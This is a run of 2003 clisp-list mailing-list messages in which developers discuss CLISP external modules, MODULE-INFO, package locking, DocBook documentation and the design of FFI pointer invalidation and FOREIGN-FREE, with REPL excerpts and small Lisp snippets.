That's useful for interactive self-inspection ("how comes this #!@$% replies FFI::LOOKUP-FOREIGN-FUNCTION: no such function "foobar" to my DEF-CALL-OUT?! :(")
(LIST-EXTERNAL-MODULES) -> ("fastseq" "ffimext" "regexp" "gdi" "mtest" "hinbug" "receiver") => "Ah, I started the wrong binary.".


>you appear to indicate that when you get dlopen interface in, these
>external modules will become obsolete anyway.
I don't think so. I believe there will be less use for them. I laid out pros and cons in my article on the subject of extending CLISP via modules.
When I asked Dan Stangers on his thoughts on that topic w.r.t. gdi, IIRC he said he still considers the approach he took as best.

For instance,
o external link modules compile on any plattform where CLISP compiles on,
o while the FFI does not.
o functions of external modules are made valid again when starting from an image. There's no working concept ready yet for that with shared libraries.
o Modules provide init_functions() for further, automated customization.
o many more ...

I still see the external module system as providing the basis for user-configurable CLISP.  E.g. dirkey ought to be turned into a module.
Even sockets could have been conceived as a module, if they had been ready by then (and resolving some GC interaction problems). The FFI itself could have been a module (with a little work).

Programmers will have a choice of using either shared libraries of modules for quite a few, but not all, areas. I believe shared libraries have a smoother learning curve, but modules offer more integration into Lisp, e.g. directly (efficiently) use CLISP vectors (including for integers or strings) instead of copying data around, and much more.

More pros and cons in my article...

Maybe the following applies:
o thin-bindings & don't mind programming like C: use foreign library - if available.
o Thick bindings, integrate well into Lisp, need something special from CLISP, care about portability and user-site configuration: use module.
MS-Windows users will probably do a lot with shared libraries, since their are ubiquituous, like on the Amiga. It would be stupid IMHO to build a link module and link in kernel32.lib in order to acccess kernel32.dll.

That's why until now, I haven't had a use for FFI with Amiga-CLISP, except to test that it compiles (and that it has callbacks and many more features). The AFFI is enough to access next to any shared library on the Amiga, and that's what people there want. I believe the same will happen to MS-Windows users, for many uses.

My current design thoughts go towards a mean of loading a file containing DEF-CALL-OUT etc. which might not have to be changed whether the user has installed something as a shared library or an external module. That's a portable unified interface to both.

Regards,
	Jorg Hohle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4DBA9@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] RFE: list-external-modules"
> * Sent on Tue, 11 Mar 2003 16:59:08 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam answered one of my queries:
> >>did I send a few weeks ago a RFE or e-mail or whatever
> >> for either LIST-EXTERNAL-MODULES or *EXTERNAL-MODULES[-LIST]*?
> 
> I was talking about what CLISP calls external modules. CLISP could
> provide the list of module__fastseq__xyz things it knows as a list.

Function EXT:MODULE-INFO

Function (EXT:MODULE-INFO &OPTIONAL name verbose) allows one to inquire
about what modules are available in the currently running image. When
called without arguments, it returns the list of module names, starting
with "clisp". When name is supplied and names a module, 3 values are
returned - name, subr-count, object-count. When verbose is non-NIL, the
full list of module lisp functions written in C (Subrs) and the full
list of internal lisp objects available in C code are additionally
returned for the total of 5 values.
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Sam Steingold suggested:
>Function EXT:MODULE-INFO
>
>Function (EXT:MODULE-INFO &OPTIONAL name verbose) allows one to inquire
>about what modules are available in the currently running image. When
>called without arguments, it returns the list of module names, starting
>with "clisp". When name is supplied and names a module, 3 values are
>returned - name, subr-count, object-count. When verbose is non-NIL, the
>full list of module lisp functions written in C (Subrs) and the full
>list of internal lisp objects available in C code are additionally
>returned for the total of 5 values.

Nice design. Overkill IMHO.

Furthermore, returning "clisp" suggests that CLISP will also return something for (ext:module-info "clisp" T).

I'm against returning the list of objects. So far, I have always been very happy that they were hidden so that the C level could use safe objects that no user or Lisp program would ever see, destroy or manipulate.

There's a difference between src/constsym.d and src/constobj.d. If there's a need for sharing stuff between C and Lisp, then special variables (names!) are what's needed. Unfortunately, the module structure doesn't have symbols. Just objects (i.e. values).

If the functions were to be returned, I believe it would be more useful to return their names (the symbols) than the function objects. A user can simply get the object from the name, but only builtin PRINT and the undocumented SYS::SUBR-INFO know how to get the name out of an object like #<ADD-ON-SYSTEM-FUNCTION FOREIGN-LIBRARY>.

Returning the list of functions may be nice. However, consider module_init_function_1 and _2: a module can do anything. Therefore, it's just some of the things that a module may define that are found in the module_subr and module_object tables which MODULE-INFO can return.
For instance, DEF-C-VAR doesn't show up in the object_table etc.

Given that, I tend to pursue a minimalistic approach: just return the list of external module names (not even the pseudo "clisp" module which is of little use to users), and let people consult the documentation for all this modules gives you. I believe this is enough for most purposes.

Regards,
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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4DE64@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] RFE: list-external-modules"
> * Sent on Wed, 12 Mar 2003 14:56:51 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Furthermore, returning "clisp" suggests that CLISP will also return
> something for (ext:module-info "clisp" T).

it does - try it!

> I'm against returning the list of objects. So far, I have always been
> very happy that they were hidden so that the C level could use safe
> objects that no user or Lisp program would ever see, destroy or
> manipulate.

well.... :-)
CLISP offers many ways to shoot yourself in the foot, starting with
your FOREIGN-FREE that does not invalidate the object.

> If the functions were to be returned, I believe it would be more
> useful to return their names (the symbols) than the function
> objects. A user can simply get the object from the name, but only
> builtin PRINT and the undocumented SYS::SUBR-INFO know how to get the
> name out of an object like #<ADD-ON-SYSTEM-FUNCTION FOREIGN-LIBRARY>.

of course the names are returned!

> For instance, DEF-C-VAR doesn't show up in the object_table etc.

I know.  where are these c-var's kept?
what about call-ins and call-outs?

> Given that, I tend to pursue a minimalistic approach: just return the
> list of external module names (not even the pseudo "clisp" module
> which is of little use to users), and let people consult the
> documentation for all this modules gives you. I believe this is enough
> for most purposes.

just call (ext:module-info)!

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An interesting reply from Norman Walsh:

> From: Norman Walsh <ndw@nwalsh.com>
> To: Henrik Motakef <henrik.motakef@web.de>
> Cc: james anderson <james.anderson@setf.de>, docbook@lists.oasis-open.org
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> 
> I think CL documentation fits squarely in DocBook's problem domain. If
> DocBook's not rich enough to document CLOS (or CLisp, or maybe I
> misunderstand something), please tell us how and why.
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> * In message <15983.23661.320637.326033@dalet.fauser.it>
> * On the subject of "[clisp-list] Docbook again"
> * Sent on Wed, 12 Mar 2003 17:12:29 +0100
> * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
>
> An interesting reply from Norman Walsh:
> > 
> > I think CL documentation fits squarely in DocBook's problem
> > domain. If DocBook's not rich enough to document CLOS (or CLisp, or
> > maybe I misunderstand something),

DocBook is good enough for CLISP.

> > please tell us how and why.

My only problems with docbook are:

1. BNF is not standard.  IIUC, one needs to go through special hoops to
   get EBNF to work, and DSSSL does not support it (XSL, apparently,
   does).  There are quite a few places in impnotes were we use tables
   instead of BNF.  It would be nice if someone volunteered to convert
   those tables to EBNF and DSSSL to XSL.

2. It is non-trivial to convert it to plain text (like texinfo).

3. One cannot define "local entities" (i.e., abbreviation for locally
   frequent forms).  E.g.:

Function EXT:RE-EXPORT

The function (EXT:RE-EXPORT FROM-PACK TO-PACK) re-exports all external
symbols from FROM-PACK also from TO-PACK, provided it already uses
FROM-PACK; and SIGNALs an ERROR otherwise.

   DocBook source:

<section id="re-export"><title>Function &re-export;</title>

<para>The function <literal role="sexp"
 >(&re-export; <replaceable>FROM-PACK</replaceable>
               <replaceable>TO-PACK</replaceable>)</literal>
 re-exports all external symbols from
 <replaceable>FROM-PACK</replaceable> also from
 <replaceable>TO-PACK</replaceable>, provided it already uses
 <replaceable>FROM-PACK</replaceable>; and &signal;s an &error-t; otherwise.
</para></section>

   this would look much better if I could just write

<section id="re-export"><title>Function &re-export;</title>
(let ((from-pack "<replaceable>FROM-PACK</replaceable>")
      (to-pack "<replaceable>TO-PACK</replaceable>"))
<para>The function <literal role="sexp"
 >(&re-export; &from-pack; &to-pack;)</literal>
 re-exports all external symbols from &from-pack; also from
 &to-pack;, provided it already uses &from-pack;;
 and &signal;s an &error-t; otherwise.
</para>)</section>

   the frequently used idioms, like <replaceable>number</replaceable>,
   are already global entities defined in impent.xml.
   what about idioms that are frequently used in an isolated part of
   the document?

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Sam Steingold wrote:
>there is no MARK-INVALID-FOREIGN
I have one -- apparently yet another item not yet submitted to sf' patches section.
>and I think VALIDP should be setfable instead.
Actually, I don't care about that name. Make it SETF'able instead if you wish. Maybe it'll have the benefit of making the symbol VALIDP more visible.

What I do care slightly about is that
o MARK-INVALID-FOREIGN signals an error when not given a foreign entity.
What would (SETF VALIDP) do?

>whatever is free()d, must be marked invalid.
Here you're killing the messenger together with the message.
I mentioned: "I believe I cannot present FOREIGN-FREE :mark-invalid without explaining or providing a model for controlling the address sharing that CLISP does."

That's exactly what's happening here. I believe you misunderstand what's going on in the FFI w.r.t. foreign-addresses etc.
Please look at the following. In order to understand, a model of the relationship between foreign entities and VALIDP is needed. I did not yet write that.

[84]> (setq fm (deep-malloc 'uint8 123))
#<FOREIGN-VARIABLE FOREIGN-ALLOC* #x00CC1920>
[85]> (foreign-address fm)
#<FOREIGN-ADDRESS #x00CC1920>
[86]> (unsigned-foreign-address (foreign-address-unsigned fm))
#<FOREIGN-ADDRESS #x00CC1920>
[87]> (equalp * **)
NIL			;yet they print the same!

[88]> (def-call-out c-self
  (:name "ffi_identity")
  (:arguments (obj c-pointer))
  (:return-type c-pointer) (:language :stdc))
C-SELF
[89]> (mark-invalid-foreign (c-self (foreign-address fm)))
*** - MARK-INVALID-FOREIGN: must not invalidate sole FFI session pointer

It's refering to the underlying O(fp_zero) object. Almost all of FFI dies if this is destroyed.

[91]> (mark-invalid-foreign (unsigned-foreign-address (foreign-address-unsigned fm)))
*** - MARK-INVALID-FOREIGN: must not invalidate sole FFI session pointer

[93]> (mark-invalid-foreign fm)
; or  (mark-invalid-foreign (foreign-address fm))
T

[103]> fm
#<INVALID FOREIGN-VARIABLE FOREIGN-ALLOC* #x00CC1920>
[104]> (foreign-free fm)
*** - #<INVALID FOREIGN-POINTER #x00CC1920> comes from a previous Lisp session and is invalid
; the FOREIGN-POINTER object hidden beneath FOREIGN-ADDRESS and FOREIGN-VARIABLE appears here

[105]> (foreign-free (unsigned-foreign-address #x0cc1920))
NIL		; no problem at all - and that pointer must not be invalidated.


One must not attempt to invalidate foreign-address/variable objects returned via :return-type C-POINTER or UNSIGNED-FOREIGN-ADDRESS, or a future FOREIGN-ADDRESS-VARIABLE etc. FOREIGN-POINTER object sharing is happening.

It's only safe on the objects returned via FOREIGN-LIBRARY (when done with it) and SIMPLE-CALLOC/DEEP-MALLOC.

What I've been trying to do is incremental changes to the FFI. Attempting to change the above would be a major rewrite of the FFI, which is not my goal. Instead, I try to put the existing code to better use, like using the FOREIGN-POINTER sharing feature as a dependency tracking mechanism. For instance, closing a shared library immediately invalidates all dependent functions (but not objects that they may have returned, which CLISP does not know about - but my envisioned SET-FOREIGN-BASE would allow the programmer to let CLISP know).

CLISP documentation would have to be updated to explain when fresh pointers and when shared pointers are returned by FFI functions.


However, what this discussion boils down is no more that the set of defaults to FOREIGN-FREE. I don't object a default key value of :validp nil. It's even reasonable (I believe invalidating covers more cases than not invalidating).
But I strongly object to not letting the programmer control this coupling. FOREIGN-FREE must not unconditionaly invalidate the pointer. It can have a keyword argument.

Providing an initial FOREIGN-FREE which does not invalidate was an incremental approach of mine. It does not prevent programmers code from working, since MARK-INVALID-FOREIGN is (supposed to be) there as well: it does not remove freedom from the programmer. Providing a FOREIGN-FREE which inconditionaly invalidates the foreign entity object would have removed freedom and prevented useful cases from working.

Providing a FOREIGN-FREE which later on default to invalidate means an incompatible interface change which may break code. That's the price to pay for incrementality and "let people play with it so as to get feedback".


>if you want to release only the root, you setf the lower level pointers
>to NULL, then call FOREIGN-FREE, which will release everything (and
>invalidate the root.)
That's IMHO cumbersome. FOREIGN-FREE can work independently of destroying pointers in the structure it's about to free. Let that zeroing out job be the burden of people who want a conservative GC.


One could also discuss whether :FULL should default to true. It would work with SIMPLE-CALLOC on the typical cases I expect where arrays of immediates are allocated, or even opaque pointers (simple-calloc `(c-array c-pointer ,n)) or (simple-calloc 'c-pointer :count n). And it's the right thing to do with DEEP-MALLOC (again, in most cases, since the structure at the moment of deallocation may be very different from what got allocated).
There's just a little performance impact on using :full where it's not necessary for analysing the type declaration. I should try more to learn not to care about that.

Regards,
	Jorg Hohle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E092@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] on FFI:mark-invalid-foreign, malloc() and finalization"
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>
> Sam Steingold wrote:
> >there is no MARK-INVALID-FOREIGN
> I have one -- apparently yet another item not yet submitted to sf' patches section.
> >and I think VALIDP should be setfable instead.
> Actually, I don't care about that name. Make it SETF'able instead if
> you wish. Maybe it'll have the benefit of making the symbol VALIDP
> more visible. 
good.

> What I do care slightly about is that
> o MARK-INVALID-FOREIGN signals an error when not given a foreign entity.
> What would (SETF VALIDP) do?

I send the pseudo-code for (SETF VALIDP) here before.
<http://article.gmane.org/gmane.lisp.clisp.general/6651>
(setf (validp "foo") t) ==> t
(setf (validp "foo") nil) ==> (error "may not invalidate non-foreign")
basically, since (VALIDP "foo") works, I see no reason to forbid
(setf (validp "foo") t).

> >whatever is free()d, must be marked invalid.
> Here you're killing the messenger together with the message.
> I mentioned: "I believe I cannot present FOREIGN-FREE :mark-invalid
> without explaining or providing a model for controlling the address
> sharing that CLISP does." 

My point is: do we want to allow users to free() the same memory twice?
Yes or No?
I am not forcing your decision here, but I want clarity.
IIUC, it is impossible to prevent the user from doing that
(due to UNSIGNED-FOREIGN-ADDRESS).
Maybe it's a good reason to withdraw UNSIGNED-FOREIGN-ADDRESS?
(OTOH, IIUC, (:RETURN-TYPE C-POINTER) does just that, so it will not
solve the problem).

> That's exactly what's happening here. I believe you misunderstand
> what's going on in the FFI w.r.t. foreign-addresses etc. 
> Please look at the following. In order to understand, a model of the
> relationship between foreign entities and VALIDP is needed. I did not
> yet write that. 
> 
> [84]> (setq fm (deep-malloc 'uint8 123))
> #<FOREIGN-VARIABLE FOREIGN-ALLOC* #x00CC1920>

please sync with the CVS head.
do you want me to provide a nightly CVS head snapshot or is
<http://cvs.sourceforge.net/cvstarballs/clisp-cvsroot.tar.gz>
enough?

BTW, please note what I write in
<https://sourceforge.net/tracker/?func=detail&atid=301355&aid=678216&group_id=1355>
---------------------------------------------------------------------
please fix exec_on_stack to use UNWIND_PROTECT, like you do here.
note also that subr_self is never lost now (see your comment there).
---------------------------------------------------------------------

thanks for your patches - at this time CVS has __EVERYTHING__ you ever
sent me.  It's a __VERY__ good time to sync!


> [85]> (foreign-address fm)
> #<FOREIGN-ADDRESS #x00CC1920>
> [86]> (unsigned-foreign-address (foreign-address-unsigned fm))
> #<FOREIGN-ADDRESS #x00CC1920>
> [87]> (equalp * **)
> NIL			;yet they print the same!

this would not be hard to fix.
would you like me to?

> [88]> (def-call-out c-self
>   (:name "ffi_identity")
>   (:arguments (obj c-pointer))
>   (:return-type c-pointer) (:language :stdc))
> C-SELF
> [89]> (mark-invalid-foreign (c-self (foreign-address fm)))
> *** - MARK-INVALID-FOREIGN: must not invalidate sole FFI session pointer
> 
> It's refering to the underlying O(fp_zero) object. Almost all of FFI dies if this is destroyed.
> 
> [91]> (mark-invalid-foreign (unsigned-foreign-address (foreign-address-unsigned fm)))
> *** - MARK-INVALID-FOREIGN: must not invalidate sole FFI session pointer
> 
> [93]> (mark-invalid-foreign fm)
> ; or  (mark-invalid-foreign (foreign-address fm))
> T

huh?
shouldn't (c-self fm) be the same (under EQUAL) as fm?!

> [103]> fm
> #<INVALID FOREIGN-VARIABLE FOREIGN-ALLOC* #x00CC1920>
> [104]> (foreign-free fm)
> *** - #<INVALID FOREIGN-POINTER #x00CC1920> comes from a previous Lisp session and is invalid
> ; the FOREIGN-POINTER object hidden beneath FOREIGN-ADDRESS and FOREIGN-VARIABLE appears here
> 
> [105]> (foreign-free (unsigned-foreign-address #x0cc1920))
> NIL		; no problem at all - and that pointer must not be invalidated.


[106]> (foreign-free (unsigned-foreign-address #x0cc1920))

here you should see a segfault - you are releasing the same memory twice

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On Wed, 12 Mar 2003 17:12:29 +0100, Aurelio Bignoli wrote:

> An interesting reply from Norman Walsh:
> 
> > From: Norman Walsh <ndw@nwalsh.com>
[...]
> > Subject: DOCBOOK: Re: using docbook for CLOS
> > Date: Wed, 12 Mar 2003 07:32:23 -0500
[...]
> > I think CL documentation fits squarely in DocBook's problem domain. If
> > DocBook's not rich enough to document CLOS (or CLisp, or maybe I
> > misunderstand something), please tell us how and why.

I seem to remember that Pierre Mai tweaked DocBook to better fit the
documentation needs of the MaiSQL manual. He may--no pun intended--have
some suggestions.


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Hi,

>thanks for your patches - at this time CVS has __EVERYTHING__ you ever
>sent me.  It's a __VERY__ good time to sync!
Ok, I'll byte :) - got the 7MB snapshot, not yet installed.

BTW, this patch is missing:
http://sourceforge.net/tracker/index.php?func=detail&aid=549049&group_id=1355&atid=301355

CLISP's "new" package locking behaviour leads to an annoying

> lisp.run -M lispinit.mem

** - Continuable Error
INTERN("VECTOR-POSITION"): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1. Break [1]> continue
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
[...]
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2002


[1]> 

What I want is a mechanism to simply add new functions via modules, as I did from 1995 on, and documented in my article. Package-locking breaks this (except for stuff added to the free USER package) for the packages SYS and EXT, which I typically used.

The UNIX shell link-kit script may look easy to use. It's certainly powerful. But it's not what I call simple. Especially it's against my goal of saving disk space and keeping a single memory image for all possible module configurations, just switching lisp.exe if needed, an advice I've also given in my article.

Let me explain how I've been working for years:
I keep the original lisp.run and lispinit.mem from the original build, containing 0 modules.
I then build some lispx.run containing as many modules as I want, e.g. regexp, dynload, ffihacks, hinbug, gdi.

I invoke lispx.run -M lispinit.mem. The modules mostly lay dormant in the executable. Each is quite small, compared to the CLISP executable size.

If I need some functionality, I kiss the module awake:
(load "clisp:modules/regexp/regexp")
-> loading regexp.fas
which then provides the functionality, and full package, as needed.

I'd only generate image files containing e.g. gdi or regexp if the amount of .fas files became huge or if I had to deliver an application to some customer (which has not yet happened). So far, .fas file loading speed has been completely acceptable to me, and I by far prefer this speed/space trade-off.
Loading .fas files instead of working with an image is also nice to developers: work on what's current, not old definitions.


Summary: it is possible to use plenty of modules with just one lispinit.mem and a single extra lisp.run. (I could even delete the original lisp.run) -
I do it all the time.
No module sets, link kits etc. The value of a directory per module is in my eyes to provide
1. automation and
2. a Makefile etc. framework for C/Lisp compilation.


So what's missing now in CLISP?
1. In my eyes, the ability for the C code to create a package as needed for the module's functions. The full package definition and exports will be provided later by a Lisp/fas file - if ever loaded.
2. a home for modules such small that they don't need an own package. I used SYS or EXT so far, which package-lock breaks.

That's what my patches attempted to address. Maybe all that's additionaly needed is a variable to hold the packages that were unlocked during module initialization, and restore their state afterwards.


Regards,
	Jorg Hohle.
Remembers me about METAFONT: it is plain superfluous to dump a cmbase image. The single plain.base suffices, loading cmbase.mf into it is trivially fast.


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Sam Steingold wrote:
>> >whatever is free()d, must be marked invalid.
>> Here you're killing the messenger together with the message.
>My point is: do we want to allow users to free() the same memory twice?
>Yes or No?
>I am not forcing your decision here, but I want clarity.
I don't want that to happen, and provide means to prevent it from happening: MARK-INVALID-FOREIGN. But I cannot prevent it.

>IIUC, it is impossible to prevent the user from doing that
>(due to UNSIGNED-FOREIGN-ADDRESS).
Not because of u-f-a. Because the C code could do it.
Memory allocation needs a protocol which specifies who allocates and who frees. CLISP explicitly supports protocols where Lisp does one part, and the foreign code does the other part.


>Maybe it's a good reason to withdraw UNSIGNED-FOREIGN-ADDRESS?
It's a tiny utility function which some people may use some day. It's like CMUCL's SAP-INT and INT-SAP.
I prefer to provide them instead of having programmers define their own version using:

(def-call-out u-f-a
  (:name "ffi_identity")
  (:arguments (obj uint32)) ;maybe uint64 is needed?
  (:return-type c-pointer) (:language :stdc))
;(u-f-a #xabadcafe) -> #<FOREIGN-ADDRESS #xABADCAFE>

BTW, I was just pleased to see that
(disassemble #'u-f-a) might work on UNIX (if gdb were installed here) because sys::code-address-of recognizes #<FOREIGN-FUNCTION>.
I.e., for foreign-functions
#+UNIX(sys::code-address-of ff) == (foreign-address-unsigned ff)

>[106]> (foreign-free (unsigned-foreign-address #x0cc1920))
>here you should see a segfault - you are releasing the same 
>memory twice
I'll not add a testcase for that:)


>> [87]> (equalp * **)
>> NIL			;yet they print the same!
>this would not be hard to fix.
>would you like me to?
No, until there's a concept of what shall be done. The two objects are different in terms of EQUALP:
#<foreign-address pointer:0 offset #x00CC1920>
#<foreign-address pointer #x00CC1920 offset 0>

So far, my opinion is that the current printed representation of #<FOREIGN-ADDRESS #x00CC1920> is just fine (suited to most user needs), and the user need not be bothered with additional level of detail.

>> [93]> (mark-invalid-foreign fm)
>> ; or  (mark-invalid-foreign (foreign-address fm))
>> T
>huh?
>shouldn't (c-self fm) be the same (under EQUAL) as fm?!
Same as above.


Here's (part of) the underlying concept (= documentation of the current state, which needs to find its way into impnotes in a polished form):

1. The validp bit is associated with a FOREIGN-POINTER object, not each FOREIGN-ADDRESS or FOREIGN-VARIABLE.

2. FOREIGN-ADDRESS, F-VARIABLE, F-FUNCTION embody such a FOREIGN-POINTER object -- and an offset from it.

3. All of (:return-type C-POINTER), U-F-A etc. return a FOREIGN-ADDRESS object which all share what I call the "FFI session pointer" - O(fp_zero). That's why this one shall not be invalidated.

4. WITH-FOREIGN-OBJECT/STRING and DEEP-MALLOC return f-a/v objects based on a new, thus distinct foreign-pointer.
Only these can be marked as invalid, which the WITH- macros do automatically (not all of them right now, as you noticed).

5. DEREF, SLOT etc. (or rather ffi::%DEREF etc.) preserve the foreign-pointer when building a new FOREIGN-VARIABLE object.
FOREIGN-ADDRESS preserves it as well (which your (compose #'u-f-a #'f-a-u) suggestion does not).
That's both useful and potentially dangerous.
(foreign-free (slot X 'part1)) shall free, but not invalidate the pointer, because all of X would become invalid.

My dynload patch creates FOREIGN-FUNCTION objects embedding the FOREIGN-POINTER to the library. That's how, by invoking MARK-INVALID-FOREIGN on the library base pointer obejct, all associated functions and variables become invalid as well.

My concept for SET-FOREIGN-BASE was to permit modification of this association between a FOREIGN-ADDRESS/VARIABLE/FUNCTION and the associated FOREIGN-POINTER.
Then FINALIZE and/or MARK-INVALID-FOREIGN become useful with arbitrary f-v/f-a objects.

(let ((x (c-self fm)))
  ;; dissociate from CLISP FFI session pointer
  (set-foreign-base x (another-foreign-entity foo))

  ;; either
  (finalize (foreign-base-pointer x) #'xx)
  ... do stuff using foo
  ;; or
  (foreign-free yy)
  (mark-invalid-foreign foo); x becomes invalid as well.
)

Function: FOREIGN-BASE == FOREIGN-POINTER, but I prefer the "base" idea.
Function: (SET-FOREIGN-BASE foreign-entity another) (you'll suggest (SETF FOREIGN-BASE), I know :)
another may also be :NEW, or :SESSION, not just a foreign-entity, which is IMHO not compatible with the SETF idea. Returns the modified entity. Maybe name it update-foreign-base?
(let ((x (set-foreign-base (c-self xx) :new)))
  ;; now x has a distinguished FOREIGN-BASE object
  (finalize (foreign-base x) #'close-windows-silently)
  ...)

Another reason for the SET-FOREIGN-BASE name instead of (SETF FOREIGN-POINTER) is that it's not only the pointer that's changed. The offset of the FOREIGN-ADDRESS object is modified suitably to preserve the FOREIGN-ADDRESS-UNSIGNED value.

But that's not all that would be needed. You may also wish to correct an address (e.g. when trying to restore a defunct shared library function from a .mem file in a new lisp session). It's not ready yet -- a basic too many open issues in brain error.

Regards,
	Jorg Hohle.


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Hi,

trying to obtain more feedback on CLISP FFI issues (not just Sam and me), I'll give the title of CLISP FFI guru to anybody who can explain why the following works:

;this one does not preserve the foreign-pointer object
; which is bad, but ignore it
(defun fcast (ff c-type)
  "Create a funcall'able FOREIGN-FUNCTION object at the given address, according to the supplied C type declaration"
  (with-c-var (new-function 'c-pointer (foreign-address ff))
    (cast new-function c-type)))

;(fcast #'c-self '(c-function (:return-type int)))
;(setf (symbol-function 'GUI-great-server)
;      (fcast (obtain-address "foo") '(c-function ...))

:)

Regards,
	Jorg Hohle.
You may wish to test using
(def-call-out c-self
  (:name "ffi_identity")
  (:arguments (obj c-pointer))
  (:return-type c-pointer) (:language :stdc))


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E3EC@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] package-lock and module interaction, saving disk space"
> * Sent on Fri, 14 Mar 2003 12:38:34 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> http://sourceforge.net/tracker/index.php?func=detail&aid=549049&group_id=1355&atid=301355

I do not consider this patch to be finished.
I write there:

why is the lock problem here at all?!
a module _should_ live in it's own package, and all new
packages are created unlocked (they _should_ be locked after
the module is created, indirectly, by being pushed on
*system-package-list* - I should mention this in the docs!).
SO: what is that package we are unlocking?!

Another issue is the automatic package creation.
I don't like it either (what if you misspell the package
name?  you will get an extra package, which you will notice
until much later, and some weird errors that will take
forever to debug).


You said:
I consider this issue still open, but low-priority.

> CLISP's "new" package locking behaviour leads to an annoying

CLISP does not lock new packages.

> What I want is a mechanism to simply add new functions via modules, as
> I did from 1995 on, and documented in my article.

what article?

> Package-locking breaks this (except for stuff added to the free USER
> package) for the packages SYS and EXT, which I typically used.

you should not use SYS & EXT.
You should use JCH-EXT and do

(without-package-lock ("EXT")
  (use-package '("JCH-EXT") "EXT")
  (re-export "JCH-EXT" "EXT"))

> The UNIX shell link-kit script may look easy to use. It's certainly
> powerful. But it's not what I call simple. Especially it's against my
> goal of saving disk space and keeping a single memory image for all
> possible module configurations, just switching lisp.exe if needed, an
> advice I've also given in my article.

This does not look like a good idea.
Memory images are under 2MB - cheap these days.

> (load "clisp:modules/regexp/regexp")
> -> loading regexp.fas
> which then provides the functionality, and full package, as needed.

so why can't you do that now?

> So what's missing now in CLISP?
> 1. In my eyes, the ability for the C code to create a package as
> needed for the module's functions. The full package definition and
> exports will be provided later by a Lisp/fas file - if ever loaded.

pushSTACK(my_name);
funcall(L(make_package),1);

> 2. a home for modules such small that they don't need an own
> package. I used SYS or EXT so far, which package-lock breaks.

No user code is allowed to touch anything in *SYSTEM-PACKAGE-LIST*.
If you are sure you know what you are doing, you may use
WITHOUT-PACKAGE-LOCK in LISP and
mark_pack_unlocked()/mark_pack_locked() in C.

Making it hard to modify packages in *SYSTEM-PACKAGE-LIST* is
__INTENDED__.

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E44C@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] on FFI:mark-invalid-foreign, malloc() and finalizati on"
> * Sent on Fri, 14 Mar 2003 13:52:52 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam Steingold wrote:
> >> [87]> (equalp * **)
> >> NIL			;yet they print the same!
> >this would not be hard to fix.
> >would you like me to?
> No, until there's a concept of what shall be done. The two objects are different in terms of EQUALP:
> #<foreign-address pointer:0 offset #x00CC1920>
> #<foreign-address pointer #x00CC1920 offset 0>

I don't understand the need for FOREIGN-ADDRESS to begin with.
Why isn't FOREIGN-POINTER enough?

> So far, my opinion is that the current printed representation of
> #<FOREIGN-ADDRESS #x00CC1920> is just fine (suited to most user
> needs), and the user need not be bothered with additional level of
> detail.

Well, I would suggest printing:

#<FOREIGN-ADDRESS #<FOREIGN-POINTER #x00CC1920> + 123>

and equality:

EQUAL:
 + FOREIGN-POINTERs are EQUAL when their fp_pointer's are =
 + FOREIGN-ADDRESSes are EQUAL when their fa_base are EQUAL and
   fa_offset's are =

EQUALP:
 + additionally, FOREIGN-ADDRESSes are EQUALP when their
   Faddress_value's are =

> 3. All of (:return-type C-POINTER), U-F-A etc. return a
> FOREIGN-ADDRESS object which all share what I call the "FFI session
> pointer" - O(fp_zero). That's why this one shall not be invalidated.

why???  why do they return
#<FOREIGN-ADDRESS #<FOREIGN-POINTER 0> + #x00CC1920>
and not
#<FOREIGN-ADDRESS #<FOREIGN-POINTER #x00CC1920> + 0>
to keep them bound to a session?
but #<FOREIGN-POINTER #x00CC1920> can be bound to a session as well!
or maybe you want to be able to invalidate them all in one stroke?

> My dynload patch creates FOREIGN-FUNCTION objects embedding the
> FOREIGN-POINTER to the library. That's how, by invoking
> MARK-INVALID-FOREIGN on the library base pointer obejct, all
> associated functions and variables become invalid as well.

aha!

> My concept for SET-FOREIGN-BASE was to permit modification of this
> association between a FOREIGN-ADDRESS/VARIABLE/FUNCTION and the
> associated FOREIGN-POINTER.  Then FINALIZE and/or MARK-INVALID-FOREIGN
> become useful with arbitrary f-v/f-a objects.

so you want a setfable accessor FOREIGN-POINTER, right?
That's easy,

> Function: FOREIGN-BASE == FOREIGN-POINTER, but I prefer the "base"
> idea.

Occam's razor - do not multiply entities (here, symbols).

> Function: (SET-FOREIGN-BASE foreign-entity another) (you'll suggest
> (SETF FOREIGN-BASE), I know :)

of course! - this is CL, not scheme!

> another may also be :NEW, or :SESSION, not just a foreign-entity,
> which is IMHO not compatible with the SETF idea. Returns the modified
> entity. Maybe name it update-foreign-base?

(defun (setf foreign-pointer) (new) (f-ent)
  (if (eq f-ent :session)
    (let ((fp (allocate-fpointer)))
      O(fp_zero) = fp;
      TheFpointer(fp)->fp_pointer = new;
      return fp;)
    TheFpointer(foreign_pointer(f-ent))->fp_pointer = new))

> Another reason for the SET-FOREIGN-BASE name instead of (SETF
> FOREIGN-POINTER) is that it's not only the pointer that's changed. The
> offset of the FOREIGN-ADDRESS object is modified suitably to preserve
> the FOREIGN-ADDRESS-UNSIGNED value.

That might not be possible.
fa_offset is a uintP.

Suppose you have
